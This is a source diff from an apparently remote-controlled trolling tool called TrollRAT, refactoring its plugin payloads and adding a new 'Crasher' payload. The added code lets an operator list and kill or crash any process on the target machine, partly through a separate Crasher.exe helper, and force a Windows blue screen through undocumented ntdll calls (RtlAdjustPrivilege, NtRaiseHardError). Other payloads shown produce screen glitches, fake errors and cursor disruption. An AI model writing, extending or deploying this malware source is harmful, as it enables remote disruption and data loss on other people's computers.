    public class PayloadActionClearScreen : SimplePayloadAction
    {
+        public PayloadActionClearScreen(Payload payload) : base(payload) { }
+
        [DllImport("user32.dll")]
        static extern bool RedrawWindow(IntPtr hWnd, IntPtr lprcUpdate, IntPtr hrgnUpdate, int flags);

-        public override string execute(Payload payload)
+        public override string execute()
        {
            RedrawWindow(IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 133);
            return "void(0);";
        }

-        public override string getIcon(Payload payload) { return null; }
-        public override string getTitle(Payload payload) { return "Clear Screen"; }
+        public override string Icon => null;
+        public override string Title => "Clear Screen";
    }

    public class PayloadActionClearWindows : SimplePayloadAction
    {
+        public PayloadActionClearWindows(Payload payload) : base(payload) { }
+
        [DllImport("Plugins\\TrollRATNative.dll")]
        static extern void clearWindows();

-        public override string execute(Payload payload)
+        public override string execute()
        {
            clearWindows();
            return "void(0);";
        }

-        public override string getIcon(Payload payload) { return null; }
-        public override string getTitle(Payload payload) { return "Close open Windows"; }
+        public override string Icon => null;
+        public override string Title => "Close open Windows";
    }

 }
--- a/TrollRATNative/TrollRATNative.vcxproj
+++ b/TrollRATNative/TrollRATNative.vcxproj
@ -51,8 +51,7 @@
    <CharacterSet>MultiByte</CharacterSet>
  </PropertyGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
-  <ImportGroup Label="ExtensionSettings">
-  </ImportGroup>
+  <ImportGroup Label="ExtensionSettings" />
  <ImportGroup Label="Shared">
  </ImportGroup>
  <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
@ -93,7 +92,7 @@
      <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;winmm.lib;%(AdditionalDependencies)</AdditionalDependencies>
      <SubSystem>Windows</SubSystem>
      <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
-      <OutputFile>$(OutDir)\Plugins\$(TargetName)$(TargetExt)</OutputFile>
+      <OutputFile>$(OutDir)\Plugins\TrollRATPayloads\$(TargetName)$(TargetExt)</OutputFile>
      <AssemblyDebug>true</AssemblyDebug>
    </Link>
  </ItemDefinitionGroup>
@ -110,6 +109,7 @@
      <SubSystem>Windows</SubSystem>
      <EntryPointSymbol>DllMain</EntryPointSymbol>
      <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
+      <OutputFile>$(OutDir)\..\..\Debug\Plugins\$(TargetName)$(TargetExt)</OutputFile>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@ -130,7 +130,7 @@
      <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
      <GenerateDebugInformation>false</GenerateDebugInformation>
      <AssemblyDebug>false</AssemblyDebug>
-      <OutputFile>$(OutDir)\Plugins\$(TargetName)$(TargetExt)</OutputFile>
+      <OutputFile>$(OutDir)\Plugins\TrollRATPayloads\$(TargetName)$(TargetExt)</OutputFile>
    </Link>
  </ItemDefinitionGroup>
  <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@ -151,6 +151,7 @@
      <IgnoreAllDefaultLibraries>true</IgnoreAllDefaultLibraries>
      <GenerateDebugInformation>false</GenerateDebugInformation>
      <AssemblyDebug>false</AssemblyDebug>
+      <OutputFile>$(OutDir)\..\..\Debug\Plugins\$(TargetName)$(TargetExt)</OutputFile>
    </Link>
  </ItemDefinitionGroup>
  <ItemGroup>
@ -167,6 +168,5 @@
    <ClInclude Include="Utils.h" />
  </ItemGroup>
  <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
-  <ImportGroup Label="ExtensionTargets">
-  </ImportGroup>
+  <ImportGroup Label="ExtensionTargets" />
 </Project>
--- a/TrollRATPayloads/Payloads/CrasherPayload.cs
+++ b/TrollRATPayloads/Payloads/CrasherPayload.cs
@ -0,0 +1,159 @@
+using System;
+using System.Diagnostics;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.InteropServices;
+using TrollRAT.Payloads;
+
+namespace TrollRATPayloads.Payloads
+{
+    public class PayloadCrasher : Payload
+    {
+        [DllImport("ntdll.dll", SetLastError = true)]
+        public static extern IntPtr RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege,
+                bool IsThreadPrivilege, out bool PreviousValue);
+
+        protected class PayloadActionCrashWindows : DangerousPayloadAction
+        {
+            public PayloadActionCrashWindows(Payload payload) : base(payload) { }
+
+            public override string WarningMessage => "<p>Crashing Windows should cause a BSOD.</p>" + 
+                "<p>It is not recommended to use, even for trolling, because it can cause data loss and more.</p>" + 
+                "<p>The used method is not documented, it may get patched in the future " +
+                "and can cause different results than forcing a BSOD everytime.</p>" + 
+                "<p>Do you still want to crash Windows?</p>";
+
+            [DllImport("ntdll.dll", SetLastError = true)]
+            public static extern void NtRaiseHardError(uint errorStatus,
+                int a, int b, int c, /* Unused */
+                int responseOption,
+                out int response);
+
+            public override string execute()
+            {
+                bool x; int y;
+                RtlAdjustPrivilege(19 /* SeShutdownPrivilege */, true, false, out x);
+                NtRaiseHardError(0xc0000022, 0, 0, 0, 6 /* OptionShutdownSystem */, out y);
+                return "alert('System should crash in a moment...');";
+            }
+
+            public override string Icon => null;
+            public override string Title => "Crash Windows";
+        }
+
+        protected class PayloadSettingProcess : PayloadSettingSelectBase
+        {
+            public PayloadSettingProcess(int defaultValue, string title) : base(defaultValue, title) { }
+
+            private Process[] processes;
+            public Process SelectedProcess => processes[value];
+
+            public override string[] Options
+            {
+                get
+                {
+                    Process currentSelection = (processes != null && processes.Length > 0) ? SelectedProcess : null;
+
+                    processes = (from process in Process.GetProcesses()
+                                 orderby process.Id
+                                 select process).ToArray();
+
+                    int[] pids = (from process in processes
+                                  select process.Id).ToArray();
+
+                    value = (currentSelection != null) ? Array.IndexOf(pids, currentSelection.Id) : 0;
+                    if (value < 0)
+                        value = 0;
+
+                    return (from process in processes
+                            select String.Format("{0} - {1}",
+                            process.Id, process.ProcessName)).ToArray();
+                }
+
+                set { throw new NotImplementedException(); }
+            }
+        }
+
+        protected PayloadSettingProcess process = new PayloadSettingProcess(0, "Process");
+
+        protected class PayloadActionKillProcess : SimplePayloadAction
+        {
+            public PayloadActionKillProcess(Payload payload) : base(payload) { }
+
+            public override string execute()
+            {
+                PayloadCrasher pc = (PayloadCrasher)payload;
+
+                Process process = pc.process.SelectedProcess;
+
+                try
+                {
+                    if (process.HasExited)
+                        return "alert('The process is already dead.');";
+
+                    process.Kill();
+                    return "alert('The process has been killed successfully.');";
+                } catch (Exception)
+                {
+                    return "alert('Failed to kill the Process.');";
+                }
+            }
+
+            public override string Icon => null;
+            public override string Title => "Kill Process";
+        }
+
+        protected class PayloadActionCrashProcess : SimplePayloadAction
+        {
+            public PayloadActionCrashProcess(Payload payload) : base(payload) { }
+
+            public override string execute()
+            {
+                try
+                {
+                    PayloadCrasher pc = (PayloadCrasher)payload;
+
+                    Process process = pc.process.SelectedProcess;
+
+                    Process crasher = Process.Start(Path.Combine(Path.GetDirectoryName(
+                        Assembly.GetExecutingAssembly().Location), "Crasher.exe"), process.Id.ToString());
+                    crasher.WaitForExit();
+
+                    if (crasher.ExitCode == 0)
+                        return "alert('Thread created successfully. Process should now have been crashed.');";
+                    else if (crasher.ExitCode == 1)
+                        return "alert('The process is already dead.');";
+                    else if (crasher.ExitCode == 2)
+                        return "alert('Crashing the process failed.');";
+                    else if ((crasher.ExitCode & 0x4000000) != 0)
+                        return string.Format("alert('Failed to open the process handle.\\n\\n Error Code: {0}');",
+                            crasher.ExitCode & (~0x4000000));
+                    else if ((crasher.ExitCode & 0x8000000) != 0)
+                        return string.Format("alert('Failed to create the thread.\\n\\n Error Code: {0}');",
+                            crasher.ExitCode & (~0x8000000));
+                } catch (Exception) // Very crappy exception handling
+                {
+                    return "alert('Crashing the process failed.');";
+                }
+
+
+                return "void(0);";
+            }
+
+            public override string Icon => null;
+            public override string Title => "Crash Process";
+        }
+
+        public PayloadCrasher()
+        {
+            name = "Crasher";
+
+            settings.Add(process);
+
+            actions.Add(new PayloadActionKillProcess(this));
+            actions.Add(new PayloadActionCrashProcess(this));
+            actions.Add(new PayloadActionCrashWindows(this));
+        }
+    }
+}
--- a/TrollRATPayloads/Payloads/MEMZPayloads.cs
+++ b/TrollRATPayloads/Payloads/MEMZPayloads.cs
@ -10,7 +10,7 @@ namespace TrollRATPayloads.Payloads
 {
    public class PayloadMessageBox : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll", CharSet = CharSet.Auto)]
+        [DllImport("TrollRATNative.dll", CharSet = CharSet.Auto)]
        public static extern void payloadMessageBox(string text, string label, int style, int mode);

        protected PayloadSettingSelect mode = new PayloadSettingSelect(3, "Mode",
@ -33,7 +33,7 @@ namespace TrollRATPayloads.Payloads

            settings.Add(icon);

-            actions.Add(new PayloadActionClearWindows());
+            actions.Add(new PayloadActionClearWindows(this));
        }

        protected override void execute()
@ -53,7 +53,7 @@ namespace TrollRATPayloads.Payloads

    public class PayloadGlitch : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadGlitch(int maxSize, int power);

        protected PayloadSettingNumber maxSize = new PayloadSettingNumber(500, "Maximum Rectangle Size", 20, 1000, 1);
@ -61,7 +61,7 @@ namespace TrollRATPayloads.Payloads

        public PayloadGlitch() : base(20)
        {
-            actions.Add(new PayloadActionClearScreen());
+            actions.Add(new PayloadActionClearScreen(this));

            settings.Add(maxSize);
            settings.Add(power);
@ -77,7 +77,7 @@ namespace TrollRATPayloads.Payloads

    public class PayloadSound : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadSound(int sound);

        protected PayloadSettingSelect sound = new PayloadSettingSelect(6, "Sound Type",
@ -112,14 +112,14 @@ namespace TrollRATPayloads.Payloads

    public class PayloadTunnel : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadTunnel(int scale);

        protected PayloadSettingNumber scale = new PayloadSettingNumber(50, "Scale factor per iteration", 1, 400, 1);

        public PayloadTunnel() : base(20)
        {
-            actions.Add(new PayloadActionClearScreen());
+            actions.Add(new PayloadActionClearScreen(this));
            settings.Add(scale);

            name = "Tunnel Effect";
@ -133,7 +133,7 @@ namespace TrollRATPayloads.Payloads

    public class PayloadReverseText : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadReverseText();

        public PayloadReverseText() { name = "Reverse Text"; }
@ -146,7 +146,7 @@ namespace TrollRATPayloads.Payloads

    public class PayloadDrawErrors : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadDrawErrors(int count, int chance);

        protected PayloadSettingNumber errorCount = new PayloadSettingNumber(2, "Error Count", 1, 40, 1);
@ -154,7 +154,7 @@ namespace TrollRATPayloads.Payloads

        public PayloadDrawErrors() : base(2)
        {
-            actions.Add(new PayloadActionClearScreen());
+            actions.Add(new PayloadActionClearScreen(this));

            settings.Add(errorCount);
            settings.Add(errorChance);
@ -170,12 +170,12 @@ namespace TrollRATPayloads.Payloads

    public class PayloadInvertScreen : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadInvertScreen();

        public PayloadInvertScreen()
        {
-            actions.Add(new PayloadActionClearScreen());
+            actions.Add(new PayloadActionClearScreen(this));
            name = "Invert Screen";
        }

@ -187,7 +187,7 @@ namespace TrollRATPayloads.Payloads

    public class PayloadCursor : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadCursor(int power);

        private PayloadSettingNumber power = new PayloadSettingNumber(4, "Movement Factor", 2, 100, 1);
--- a/TrollRATPayloads/Payloads/NewPayloads.cs
+++ b/TrollRATPayloads/Payloads/NewPayloads.cs
@ -10,14 +10,14 @@ namespace TrollRATPayloads.Payloads
 {
    public class PayloadEarthquake : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadEarthquake(int delay, int power);

        private PayloadSettingNumber power = new PayloadSettingNumber(20, "Movement Factor", 2, 60, 1);

        public PayloadEarthquake() : base(4)
        {
-            actions.Add(new PayloadActionClearScreen());
+            actions.Add(new PayloadActionClearScreen(this));
            settings.Add(power);

            name = "Earthquake (Shake Screen)";
@ -31,7 +31,7 @@ namespace TrollRATPayloads.Payloads

    public class PayloadMeltingScreen : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadMeltingScreen(int size, int power);

        private PayloadSettingNumber size = new PayloadSettingNumber(30, "Bar Size", 4, 200, 1);
@ -39,7 +39,7 @@ namespace TrollRATPayloads.Payloads

        public PayloadMeltingScreen() : base(4)
        {
-            actions.Add(new PayloadActionClearScreen());
+            actions.Add(new PayloadActionClearScreen(this));
            settings.Add(size);
            settings.Add(power);

@ -54,7 +54,7 @@ namespace TrollRATPayloads.Payloads

    public class PayloadTrain : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadTrain(int xPower, int yPower);

        private PayloadSettingNumber xPower = new PayloadSettingNumber(10, "X Movement", -100, 100, 1);
@ -62,7 +62,7 @@ namespace TrollRATPayloads.Payloads

        public PayloadTrain() : base(5)
        {
-            actions.Add(new PayloadActionClearScreen());
+            actions.Add(new PayloadActionClearScreen(this));
            settings.Add(xPower);
            settings.Add(yPower);

@ -77,7 +77,7 @@ namespace TrollRATPayloads.Payloads

    public class PayloadDrawPixels : LoopingPayload
    {
-        [DllImport("Plugins\\TrollRATNative.dll")]
+        [DllImport("TrollRATNative.dll")]
        public static extern void payloadDrawPixels(uint color, int power);

        private PayloadSettingNumber power = new PayloadSettingNumber(500, "Changed Pixels per Iteration", 1, 10000, 1);
@ -90,7 +90,7 @@ namespace TrollRATPayloads.Payloads

        public PayloadDrawPixels() : base(1)
        {
-            actions.Add(new PayloadActionClearScreen());
+            actions.Add(new PayloadActionClearScreen(this));

            settings.Add(power);
            settings.Add(color);
@ -113,7 +113,7 @@ namespace TrollRATPayloads.Payloads
        }
    }

-    public class PayloadTTS : Payload
+    public class PayloadTTS : ExecutablePayload
    {
        protected class PayloadSettingVoice : PayloadSettingSelectBase
        {
--- a/TrollRATPayloads/Payloads/SimplePayloads.cs
+++ b/TrollRATPayloads/Payloads/SimplePayloads.cs
@ -1,11 +1,10 @@
 using System;
 using System.Diagnostics;
-
 using TrollRAT.Payloads;

 namespace TrollRATPayloads.Payloads
 {
-    public class PayloadOpen : Payload
+    public class PayloadOpen : ExecutablePayload
    {
        protected PayloadSettingString file = new PayloadSettingString("", "File Name or Website");
        protected PayloadSettingString args = new PayloadSettingString("", "Arguments for Programs");
--- a/TrollRATPayloads/TrollRATPayloads.csproj
+++ b/TrollRATPayloads/TrollRATPayloads.csproj
@ -17,7 +17,7 @@
    <DebugSymbols>true</DebugSymbols>
    <DebugType>full</DebugType>
    <Optimize>false</Optimize>
-    <OutputPath>..\Debug\Plugins\</OutputPath>
+    <OutputPath>..\Debug\Plugins\TrollRATPayloads\</OutputPath>
    <DefineConstants>DEBUG;TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
@ -26,7 +26,7 @@
  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
    <DebugType>pdbonly</DebugType>
    <Optimize>true</Optimize>
-    <OutputPath>..\Release\Plugins\</OutputPath>
+    <OutputPath>..\Release\Plugins\TrollRATPayloads\</OutputPath>
    <DefineConstants>TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
@ -44,6 +44,7 @@
    <Reference Include="System.Xml" />
  </ItemGroup>
  <ItemGroup>
+    <Compile Include="Payloads\CrasherPayload.cs" />
    <Compile Include="Payloads\MEMZPayloads.cs" />
    <Compile Include="Payloads\NewPayloads.cs" />
    <Compile Include="Payloads\SimplePayloads.cs" />
--- a/TrollRATPayloads/TrollRATPayloadsPlugin.cs
+++ b/TrollRATPayloads/TrollRATPayloadsPlugin.cs
@ -15,6 +15,8 @@ namespace TrollRATPayloads
        public void onLoad()
        {
            TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadOpen());
+            TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadCrasher());
+
            TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadTTS());

            TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadMessageBox());